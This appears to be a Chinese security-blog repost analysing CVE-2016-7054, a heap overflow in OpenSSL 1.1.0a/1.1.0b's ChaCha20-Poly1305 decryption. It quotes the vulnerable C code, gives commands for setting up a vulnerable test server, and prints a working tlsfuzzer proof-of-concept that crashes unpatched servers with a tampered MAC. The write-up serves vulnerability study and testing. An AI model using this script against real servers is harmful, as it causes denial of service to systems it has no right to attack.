记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

CVE-2016-7054:OpenSSl 1.1.0a 、1.1.0b堆溢出漏洞利用

2016-12-22 19:00

几天前,Fortinet发表了一个题为“OpenSSL ChaCha20-Poly1305堆溢出(CVE-2016-7054)分析”的文章。OpenSSL程序库中的一个高危堆溢出漏洞被发现,影响1.1.0a和1.1.0b版本。漏洞代码位于openssl-OpenSSL_1_1_0a\crypto\evp\e_chacha20_poly1305.c文件中。
让我们看一下这段存在漏洞的代码:


//Line No 196
static int chacha20_poly1305_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out,
const unsigned char *in, size_t len)
{
...
//Line No 241
} else { /* ciphertext: Decrypt the ciphertext */
Poly1305_Update(POLY1305_ctx(actx), in, plen);
chacha_cipher(ctx, out, in, plen);
in += plen;
out += plen; //out points to the end of the buffer where decrypted ciphertext is stored.
actx->len.text += plen;
}
...
//Line No 293
Poly1305_Final(POLY1305_ctx(actx), ctx->encrypt ? actx->tag
: temp); //Generate MAC from the ciphertext
actx->mac_inited = 0;if (in != NULL && len != plen) { /* tls mode */
if (ctx->encrypt) {
memcpy(out, actx->tag, POLY1305_BLOCK_SIZE);
} else {
if (CRYPTO_memcmp(temp, in, POLY1305_BLOCK_SIZE)) {
/* If the generated MAC doesn't match the one sent along with ciphertext...
Clear the buffer where ciphertext was stored, but notice that 'out' points
to the end of the buffer ** So extra space from heap will be cleared **
*/
memset(out, 0, plen);
return -1;
}
}
}
else if (!ctx->encrypt) {
if (CRYPTO_memcmp(temp, actx->tag, actx->tag_len))
return -1;
}
}
return len;
}


CHaCHa20流密码和Poly1305消息认证码
ChaCha20
ChaCha20是Salsa20算法的改良版,使用256比特密钥。ChaCha20连续的使用同一个密钥和随机数调用ChaCha20块函数,并连续增加块计数器参数。然后,ChaCha20以小字节序(little-endian order)对结果进行序列化处理,得到密钥流数据块。这个密钥流数据块将与明文进行异或运算得到密文。
ChaCha20的输入:
1. 256比特密钥
2. 32比特初始计数器
3. 96比特随机数(IV)
4. 任意长度的明文
其输出是与明文长度相同的密文。
Poly1305
Poly1305是一个一次性的验证器,其输入为:
1. 32比特的一次性密钥
2. 一段消息
其输出是16字节的标记(Tag),用于验证消息。Poly1305使用AES加密随机数,但是AES可以被任意的带密钥的函数替代,就像这篇论文描述的。
因此使用ChaCha20-Poly1305我们得到:

至此,我们已经知道足够的基础知识,现在我们可以进行深入分析。下一步,我们尝试通过生成带有错误标记的TLS消息来触发有漏洞的代码。

{C}
我们发送一个ClientHello,通过一个使用ChaCha20和Poly1305的加密套件(cipher suite),例如DHE-RSA-CHACHA20-POLY1305-SHA256。如果服务器支持这个加密套件,它将会返回一个服务器Hello,否则它将会引发握手失败警告(ChaCha20-Poly1305 的支持在OpenSSL 1.1.0中引入)。密钥交换和消息完成之后,我们可以发送我们应用程序的数据,这里是我们想发送一个恶意的消息认证码(MAC)来触发漏洞的地方。
为了利用这个漏洞,我们需要与服务器协商ChaCha20-Poly1305加密套件,并发送一个带有恶意消息认证码(MAC)的消息。让我们首先配置运行OpenSSL 1.1.0a的服务器。
设置 OpenSSL 1.1.0a
我们可以从https://www.openssl.org/source/old/1.1.0/下载需要的版本,解压文档之后,我们配置该软件包,但是我们不希望它覆盖我们现在安装的OpenSSL版本,我们可以如下进行配置:

./config --prefix=/opt/openssl-1.1.0a --openssldir=/opt/openssl-1.1.0a
然后make并安装这个软件包。然后,我们运行生成证书和密钥并设置OpenSSL侦听传入的TLS链接。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /opt/openssl-1.1.0a/cert.key -out /opt/openssl-1.1.0a/cert.crt
/opt/openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key /opt/openssl-1.1.0a/cert.key -cert /opt/openssl-1.1.0a/cert.crt -accept 443 -www -tls1_2 -msg
漏洞利用
(使用带有恶意消息认证码的ChaCha20-Poly1305连接到服务器)
使用TLS Fuzzer和它的fuzz_application_data功能,我们可以发送一个恶意消息认证码到我们有漏洞的OpenSSL实例 (https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)。
# Offsec Research - babak@offsec.ir
conversations = {}
# 16 chars: POLY1305 tag 128 bit
# Tampering the last bit suffices to damage the MAC
# The payload has to be long enough to trigger heap overflow
n = 15000
fuzzes = [(-1, 1)]
for pos, val in fuzzes:
    conversation = Connect(sys.argv[1], int(sys.argv[2]))
    node = conversation
    ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
    node = node.add_child(ClientHelloGenerator(ciphers))
    node = node.add_child(ExpectServerHello())
    node = node.add_child(ExpectCertificate())
    node = node.add_child(ExpectServerKeyExchange())
    node = node.add_child(ExpectServerHelloDone())
    node = node.add_child(ClientKeyExchangeGenerator())
    node = node.add_child(ChangeCipherSpecGenerator())
    node = node.add_child(FinishedGenerator())
    node = node.add_child(ExpectChangeCipherSpec())
    node = node.add_child(ExpectFinished())
    node = node.add_child(fuzz_encrypted_message(
    ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
    node = node.add_child(ExpectAlert(AlertLevel.fatal,
    AlertDescription.bad_record_mac))
    node = node.add_child(ExpectClose())
如果OpenSSl实例不存在漏洞,它将会回复bad_record_mac警告并关闭连接,而存在漏洞的实例将会崩溃:

我决定为开发团队提供这个示例代码,以便能够测试他们可能基于OpenSSL代码库的自定义的堆栈和产品是否存在这个漏洞。OpenSSL 1.1.0c及以后版本对这个漏洞进行了修复,通过将"out"指针设置到密文的开头而不是结尾。升级将会解决这个问题。我必须指出,漏洞的影响仅限于拒绝服务。
 

 

 

知识来源: www.2cto.com/article/201612/579389.html

阅读:169390 | 评论:0 | 标签:溢出 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“CVE-2016-7054:OpenSSl 1.1.0a 、1.1.0b堆溢出漏洞利用”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

学习黑客技术,传播黑客文化

推广

工具

标签云